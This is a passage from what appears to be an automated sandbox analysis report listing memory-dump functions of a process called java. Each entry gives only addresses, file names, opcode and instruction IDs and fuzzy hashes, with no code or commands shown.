                                          • Source File: 00000002.00000002.249413582.0000000002F77000.00000040.00000800.00020000.00000000.sdmp, Offset: 02F77000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_2_2_2f77000_java.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: 8
                                          • API String ID: 0-4194326291
                                          • Opcode ID: c08849598d6b4ba1324d0312cf2fe59c3ee4ffdfcb3a2940c6ed13cc9fd1b4aa
                                          • Instruction ID: 471aa92502df72cdb088c000db5640527d5bf932d5b85c9abd4356d6640dfdd3
                                          • Opcode Fuzzy Hash: c08849598d6b4ba1324d0312cf2fe59c3ee4ffdfcb3a2940c6ed13cc9fd1b4aa
                                          • Instruction Fuzzy Hash: F3222472A047408FC7508F64C884769BBF1FF453A4F598AAFD6959B392C770D842CB82
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 02F8272B Relevance: .3, Instructions: 287COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000002.00000002.249413582.0000000002F77000.00000040.00000800.00020000.00000000.sdmp, Offset: 02F77000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_2_2_2f77000_java.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: f41ef894fb6371305be11aabf122821d97fa6bf3187ef11e17e1b399fde772fb
                                          • Instruction ID: ecb177b726feaf0b3bd8db9afaa1bf65fc09517a76c99668cb4ea1f5988df115
                                          • Opcode Fuzzy Hash: f41ef894fb6371305be11aabf122821d97fa6bf3187ef11e17e1b399fde772fb
                                          • Instruction Fuzzy Hash: 0CB18D72A052808FD714EF18C494B2AF7E2FF84394F198A6DD9895B395D734F881CB92
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 03014130 Relevance: .1, Instructions: 117COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000002.00000002.249413582.0000000002F77000.00000040.00000800.00020000.00000000.sdmp, Offset: 02F77000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_2_2_2f77000_java.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 3d36c174b56ba4eada87992360023609d25329d98654e2da4fde69734f2eed61
                                          • Instruction ID: 35d1566efe28dfbf86da5412dc470612c99464b61789c65e0434a5fba3ea0d99
                                          • Opcode Fuzzy Hash: 3d36c174b56ba4eada87992360023609d25329d98654e2da4fde69734f2eed61
                                          • Instruction Fuzzy Hash: B1418F76A016108FC750CF6AC48471AFBF1FF88350F9A8A6DD8996B365C730A891CF81
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 02ED0380 Relevance: .1, Instructions: 70COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000002.00000002.249323012.0000000002ED0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02ED0000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_2_2_2ed0000_java.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: a012a9fb5cf5d9e1554885d89a3030425dd9bcc3e3bcfa4e280c99466c7885fc
                                          • Instruction ID: 22b004a6745f93957c86f4e8bc0adbc528faa66cd8a725cce8820e6f08f7b220
                                          • Opcode Fuzzy Hash: a012a9fb5cf5d9e1554885d89a3030425dd9bcc3e3bcfa4e280c99466c7885fc
                                          • Instruction Fuzzy Hash: 122106BA5442568FDB358F148C407D9B7E5AB44314F21882DDECDE7710D330AA8A8B51
                                          Uniqueness

                                          Uniqueness Score: -1.00%